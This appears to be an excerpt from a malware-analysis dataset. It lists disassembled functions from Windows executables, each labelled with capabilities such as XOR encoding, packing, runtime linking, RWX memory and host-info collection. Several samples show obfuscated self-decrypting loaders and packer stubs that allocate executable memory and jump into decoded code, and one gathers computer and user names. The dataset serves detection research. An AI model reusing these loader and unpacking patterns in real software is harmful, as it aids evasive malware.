joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4058d5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00403a84
mov dword [ebp - 0x14], eax
cmp dword [0x40daf4], edi
jne 0x4059c6
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x405953
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x405aa6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x405aa6
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405aa6
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x40daf4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x40daf8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x40dafc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x40db04], eax
test eax, eax
je 0x4059c3
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x40db00], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4059eb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4059de
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x405a00
push 4
pop eax
jmp 0x405aa8
cmp dword [ebp - 0x14], edi
je 0x405a00
push dword [0x40daf4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4059e5
mov eax, dword [0x40db00]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x405a5e
cmp dword [0x40db04], esi
je 0x405a5e
push eax
call ebx
push dword [0x40db04]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x405a5e
test eax, eax
je 0x405a5e
call ecx
test eax, eax
je 0x405a53
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x405a53
test byte [ebp - 8], 1
jne 0x405a5e
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x405a8e
mov eax, dword [0x40daf8]
cmp eax, esi
je 0x405a8b
push eax
call ebx
test eax, eax
je 0x405a8b
call eax
mov edi, eax
test edi, edi
je 0x405a8b
mov eax, dword [0x40dafc]
cmp eax, esi
je 0x405a8b
push eax
call ebx
test eax, eax
je 0x405a8b
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x40daf4]
call ebx
test eax, eax
je 0x405aa6
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x405aa8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010a9
leave
ret
Function at 0x412210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41223d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41223d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x348d40b3
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x1554693f
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x406a26
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a4a
xor eax, eax
test eax, eax
je 0x406a5d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a5d
xor ecx, ecx
jmp 0x406a60
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b83
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x45bdec], 0
push esi
jne 0x406bba
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b94
mov dword [ecx*4 + 0x45bde8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b8f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406beb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x45bde8]
xor eax, esi
inc ecx
dec edx
jne 0x406bcd
pop edi
not eax
pop esi
ret 0xc

Function at 0x10002aa9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10002ab8
pop dword [ebp - 0x34]
mov eax, 0x6e9228ad
add eax, 0xa16e020b
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xb3fb263d
sub dword [ebp - 0x44], 0x65a8e0f2
mov dword [ebp - 0x40], 0xb8b1cc7d
add dword [ebp - 0x40], 0x79817fc8
mov dword [ebp - 0x3c], 0x7d2558b4
add dword [ebp - 0x3c], 0xcf26eb7a
mov dword [ebp - 0x38], 0xdfab86b8
sub dword [ebp - 0x38], 0xdfab86b8
lea eax, [ebp - 0x44]
push eax
mov eax, 0x76268dc7
add eax, 0x99db1241
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x9e15a56e
add dword [ebp - 0x44], 0xd65cc3e8
mov dword [ebp - 0x40], 0x4b19c013
add dword [ebp - 0x40], 0xf652a162
mov dword [ebp - 0x3c], 0xd17f2d6c
sub dword [ebp - 0x3c], 0x6e0fc100
mov dword [ebp - 0x38], 0x9ea15857
add dword [ebp - 0x38], 0x615ea7a9
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x39458
push 0
call eax
mov ecx, 0x12f425c7
add ecx, 0xed0c1e1f
xor esi, esi
add esi, eax
mov edx, 0x10024a00
add edx, dword [ebp - 0x34]
mov edi, 0xa35f7b67
add edi, 0x6eb407c5
mov ebx, dword [edx]
xor dword [ebp - 0x20], edi
add ebx, edi
add dword [ebp - 0x18], 0x121b6105
mov dword [esi], ebx
xor dword [ebp - 0x20], edx
add esi, 4
add edx, 4
loop 0x10002bd1
add eax, 0x620ff950
add eax, 0x9df1091b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x10003ece
pop dword [ebp - 4]
mov eax, 0xb063c76e
sub eax, 0xa06388a0
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xea0bcc94
sub dword [ebp - 0x14], 0x9bb98749
mov dword [ebp - 0x10], 0x2f3bfca1
sub dword [ebp - 0x10], 0xfd08b05c
mov dword [ebp - 0xc], 0x7f51fec7
add dword [ebp - 0xc], 0xccfa4567
mov dword [ebp - 8], 0x322f504a
sub dword [ebp - 8], 0x322f504a
lea eax, [ebp - 0x14]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xf0aff56d
sub dword [ebp - 0x14], 0x7c3d8c17
mov dword [ebp - 0x10], 0x525b42b7
add dword [ebp - 0x10], 0xef111ebe
mov dword [ebp - 0xc], 0xb7902f1
sub dword [ebp - 0xc], 0xa8099685
mov dword [ebp - 8], 0xc5c66f11
sub dword [ebp - 8], 0xc5c66f11
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x8c037b66
add eax, 0x83fcd4da
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3af8a
push 0
call eax
mov ecx, 0x5512f4a
sub ecx, 0x550d5f0
mov edi, eax
mov ebx, 0x1000b600
add ebx, dword [ebp - 4]
mov edx, 0xddd07050
sub edx, 0x255bf0e6
mov esi, dword [ebx]
xor esi, edx
mov dword [edi], esi
add edi, 0x52a0fcdc
add edi, 0xad5f0328
add ebx, 0xce0d5c7
add ebx, 0xf31f2a3d
loop 0x10003fe5
add eax, 0x1583b
mov ebx, eax
add eax, 0x912cd279
add eax, 0x6ed32d8c
mov ecx, 0xdf9beacb
sub ecx, 0xcf9beacb
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x402730
Capabilities:
Create thread
Encode data using xor
Hash data with crc32
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbc8
mov eax, dword [0x43f5c8]
xor eax, esp
mov dword [esp + 0xbc4], eax
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x202
mov dword [esp + 0x1a8], 0x74687447
mov dword [esp + 0x1ac], 0x66797476
mov byte [esp + 0x1b0], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
call fcn.0040de70
add esp, 4
mov ecx, eax
sub ecx, dword [0x4418a0]
mov esi, edx
sbb esi, dword [0x4418a4]
mov dword [0x441788], eax
mov dword [0x44178c], edx
mov dword [esp + 0xc], esi
js 0x402954
jg 0x4027b7
cmp ecx, 0x12c
jbe 0x402954
push str.COMPUTERNAME
mov dword [0x4418a0], eax
mov dword [0x4418a4], edx
call fcn.0040d960
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4027de
mov esi, dword [eax]
jmp 0x4027ed
push str.COMPUTERNAME
call fcn.0040d960
add esp, 4
mov esi, eax
mov ecx, dword [0x441898]
mov edx, dword [0x441894]
push ecx
push edx
push str.USERNAME
call fcn.0040d960
add esp, 4
push eax
mov eax, dword [0x441788]
push esi
push eax
lea ecx, [esp + 0x1cc]
push str._d__s__s__d__d
push ecx
call fcn.00407e00
lea eax, [esp + 0x1d4]
add esp, 0x1c
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402830
sub eax, edx
mov ecx, eax
or eax, 0xffffffff
lea edx, [esp + 0x1b8]
test ecx, ecx
je 0x402869
lea esp, [esp]
movzx esi, byte [edx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x43ba28]
inc edx
dec ecx
jne 0x402850
not eax
push eax
lea edx, [esp + 0x1b0]
push str._08X
push edx
call fcn.00407e00
lea eax, [esp + 0x3c4]
push eax
lea ecx, [esp + 0x1bc]
push ecx
lea edx, [esp + 0x1cc]
push edx
call fcn.00401bf0
add esp, 0x18
xor eax, eax
mov cl, byte [esp + eax + 0x3b8]
mov byte [esp + eax + 0x7b8], cl
inc eax
test cl, cl
jne 0x4028a0
lea eax, [esp + 0x3b8]
push eax
lea ecx, [esp + 0x1a4]
push ecx
lea edx, [esp + 0x1b4]
push edx
call fcn.00401bf0
lea eax, [esp + 0x3c4]
add esp, 0xc
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4028e0
lea edi, [esp + 0x7b8]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4028f1
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
jmp 0x402910
mov cl, byte [esp + eax + 0x7b8]
mov byte [eax + 0x441370], cl
inc eax
test cl, cl
jne 0x402910
push 0x441370
push 0
push fcn.004023a0
mov dword [0x441780], 1
call fcn.0040c440
add esp, 0xc
mov dword [0x441894], 0
mov dword [0x441898], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0xbcc]
pop edi
pop esi
xor ecx, esp
call fcn.00407b90
mov esp, ebp
pop ebp
ret
Function at 0x405190
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42fbe9
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x43f5c8]
xor eax, esp
mov dword [esp + 0x68], eax
push ebx
push esi
push edi
mov eax, dword [0x43f5c8]
xor eax, esp
push eax
lea eax, [esp + 0x80]
mov dword fs:[0], eax
xor esi, esi
mov ebx, ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], ebx
cmp dword [ebx + 0x44], esi
je 0x4053c1
cmp byte [ebx + 0x49], 0
je 0x4053c1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x4053a9
lea eax, [esp + 0x58]
push eax
call fcn.00404900
mov dword [esp + 0x88], esi
jmp 0x405212
mov ebx, edx
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x5c]
push edx
call fcn.00404b10
mov esi, eax
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x5c]
push ecx
mov byte [esp + 0x90], 1
call fcn.00404b10
mov edi, eax
mov byte [esp + 0x88], 2
call fcn.00405900
mov edx, dword [esp + 0x6c]
mov esi, edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
call fcn.00405900
mov ecx, dword [ebx + 0x44]
mov edx, dword [ecx]
lea esi, [esp + 0x1c]
push esi
mov esi, dword [esp + 0x28]
add esi, dword [esp + 0x24]
push esi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [edx + 0x18]
call eax
lea edi, [esp + 0x4c]
mov esi, eax
mov byte [esp + 0x88], 1
call fcn.004010b0
lea edi, [esp + 0x28]
mov byte [esp + 0x88], 0
call fcn.004010b0
mov eax, esi
sub eax, 0
je 0x4052c4
dec eax
je 0x4052c8
sub eax, 2
mov dword [esp + 0x88], 0xffffffff
lea esi, [esp + 0x58]
jne 0x4053a4
jmp 0x4053bc
mov byte [ebx + 0x49], 0
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x5c]
push edx
call fcn.00404b10
mov esi, eax
mov byte [esp + 0x88], 3
call fcn.00405900
mov ebx, dword [esp + 0x1c]
lea edi, [esp + 0x34]
sub ebx, eax
mov byte [esp + 0x88], 0
call fcn.004010b0
test ebx, ebx
je 0x405341
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x5c]
push ecx
call fcn.00404b10
mov byte [esp + 0x88], 4
or dword [esp + 0x14], 1
mov esi, eax
call fcn.00405900
mov edx, dword [esp + 0x18]
mov ecx, dword [edx + 0x54]
push ecx
push ebx
push 1
push eax
call fcn.0040d010
add esp, 0x10
mov byte [esp + 0x13], 1
cmp ebx, eax
jne 0x405346
mov byte [esp + 0x13], 0
mov dword [esp + 0x88], 0
test byte [esp + 0x14], 1
je 0x405366
and dword [esp + 0x14], 0xfffffffe
lea edi, [esp + 0x40]
call fcn.004010b0
cmp byte [esp + 0x13], 0
jne 0x405395
mov edx, dword [esp + 0x18]
cmp byte [edx + 0x49], 0
je 0x4053ad
test ebx, ebx
jne 0x405210
push ebx
lea eax, [ebx + 8]
lea edi, [esp + 0x5c]
call fcn.004049e0
mov ebx, dword [esp + 0x18]
jmp 0x405212
mov dword [esp + 0x88], 0xffffffff
lea esi, [esp + 0x58]
call fcn.004030c0
xor al, al
jmp 0x4053c3
mov dword [esp + 0x88], 0xffffffff
lea esi, [esp + 0x58]
call fcn.004030c0
mov al, 1
mov ecx, dword [esp + 0x80]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.00407b90
mov esp, ebp
pop ebp
ret
Function at 0x4057c0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42fa4b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x43f5c8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00407470
push 0x18
push str.C:Program_Files__x86_Microsoft_Visual_Studio_10.0VCinclude_streambuf
mov dword [ebp - 4], 0
call fcn.004067e0
push eax
push 4
call fcn.00406710
mov edi, eax
add esp, 0x10
test edi, edi
je 0x405849
call fcn.00406c20
mov dword [edi], eax
call fcn.00406a30
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00407400
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x40583f
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00407440
jmp 0x40584b
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x407b90
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43f5c8]
jne 0x407b9a
repz ret
jmp fcn.00412860
Function at 0x401db0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401dfb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401df4
test esi, esi
je 0x401df4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401dd0
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401fe0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402030
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402108
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40206e
cmp eax, 4
jne 0x402090
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40207e
cmp edx, 4
je 0x40207e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401fe0

Function at 0x403161
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x403161
lcall 0x5de5, 0x8b10c483
jmp loc.00791034
Function at 0x100183b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x100183c4
pop dword [ebp - 0x34]
mov eax, 0x2f069bba
sub eax, 0x1f0517f6
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x326fa97a
sub dword [ebp - 0x44], 0xe41d642f
mov dword [ebp - 0x40], 0xdea0884e
sub dword [ebp - 0x40], 0xac6d3c09
mov dword [ebp - 0x3c], 0x11d4e9b9
add dword [ebp - 0x3c], 0x3a775a75
mov dword [ebp - 0x38], 0xa75b0403
sub dword [ebp - 0x38], 0xa75b0403
lea eax, [ebp - 0x44]
push eax
mov eax, 0xcf017e0b
sub eax, 0xbeff5dc7
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xb06e33d4
add dword [ebp - 0x44], 0xc4043582
mov dword [ebp - 0x40], 0x582b5ff8
sub dword [ebp - 0x40], 0x16befe83
mov dword [ebp - 0x3c], 0xa729415b
add dword [ebp - 0x3c], 0xbc462b11
mov dword [ebp - 0x38], 0x5440c2d
add dword [ebp - 0x38], 0xfabbf3d3
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xad187045
add eax, 0x62e9affb
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x38043
push 0
call eax
mov ecx, 0x47b0
mov esi, eax
mov edi, 0x39883987
add edi, 0xd67ae279
add edi, dword [ebp - 0x34]
mov edx, 0x6615b5c9
add edx, 0x51226603
add dword [ebp - 0x18], ecx
mov ebx, dword [edi]
xor dword [ebp - 0x14], 0x238204b8
sub ebx, edx
mov dword [esi], ebx
sub dword [ebp - 4], ecx
add esi, 0x94ac3cd7
sub esi, 0x94ac3cd3
add edi, 4
loop 0x100184e0
add eax, 0x23713b57
sub eax, 0x237029c4
mov ebx, eax
add eax, 0x3c06a0b9
sub eax, 0x3c06a0b4
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret